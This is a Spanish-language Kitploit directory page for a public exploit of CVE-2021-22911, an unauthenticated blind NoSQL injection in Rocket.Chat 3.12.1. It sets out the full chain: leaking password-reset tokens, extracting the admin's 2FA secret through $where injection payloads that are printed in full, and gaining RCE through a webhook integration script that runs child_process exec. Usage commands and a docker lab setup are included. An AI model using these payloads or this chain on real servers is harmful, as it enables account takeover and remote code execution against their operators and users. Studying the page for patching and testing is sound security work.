Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-22911 | Kitploit
Herramientas/GitHubGitHub/mrdottt/cve-2021-22911
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso Remoto
GitHubmrdottt/cve-2021-22911

CVE-2021-22911

Ver Repositorio
1hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-22911

Inyección NoSQL ciega sin autenticación previa que conduce a la ejecución remota de código en Rocket Chat 3.12.1

  • El método getPasswordPolicy es vulnerable a ataques de inyección NoSQL y no requiere autenticación/autorización. Puede usarse para tomar el control de cuentas al filtrar tokens de restablecimiento de contraseña. Tomar el control de una cuenta de administrador conduce a la ejecución remota de código.

Explicación

  1. Secuestro de la cuenta del usuario ( Sin autenticación )
  • Hay inyección NoSQL en el endpoint getPasswordPolicy en el parámetro token de restablecimiento de contraseña, que recibe un objeto JSON que nos permite usar el operador $regex. Que usamos para realizar una inyección NoSQL ciega y obtener el token de restablecimiento.
  1. Escalada de privilegios a administrador ( Autenticado )
  • Por lo tanto, es muy probable que el usuario administrador esté protegido por 2FA. Así que incluso si cambiamos la contraseña del administrador mediante (1), solicitará el código 2FA al iniciar sesión.

  • El endpoint de API users.list toma un parámetro de consulta que es vulnerable a la inyección NoSQL. También podemos recuperar datos lanzando un error.

  • Ejecutamos la siguiente consulta para obtener el secreto 2FA del administrador : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • Luego simplemente hacemos (1) para restablecer la contraseña del administrador y usamos el secreto 2FA para generar el código que podemos usar para iniciar sesión.

  • Actualizado : También puedes recuperar el token de restablecimiento de la misma manera en que recuperaste el secreto 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. RCE ( Autenticado - Administrador )
  • Rocket.Chat tiene una función llamada Integrations que permite crear web hooks entrantes y salientes. Estos web hooks pueden tener scripts asociados que se ejecutan cuando se activa el web hook.
  • Creamos una integración con el siguiente script :
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • Luego simplemente activamos el webhook para obtener RCE :)

Uso

  • Necesitarás el correo electrónico de un usuario con bajos privilegios que no tenga 2FA configurado. ( -u )
  • También necesitarás conocer el correo electrónico del administrador. No es un problema si el administrador está protegido con 2FA. ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

Entorno

  • Probado en Rocket Chat 3.12.1
  • Construyendo tu propio entorno de prueba usando docker :
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • Habilita la Política de Contraseñas
  • Habilita 2FA para el Administrador
  • Registra un usuario normal.

NOTA: Si no quieres que el Administrador esté protegido con 2FA, puedes hacer lo siguiente.

  1. Envía el correo de contraseña olvidada
  2. Obtén el token de restablecimiento para el administrador
  3. Cambia la contraseña usando el token de restablecimiento recuperado
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

Créditos

  • https://hackerone.com/reports/1130721 ( fuente de sonar )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
Descargar herramienta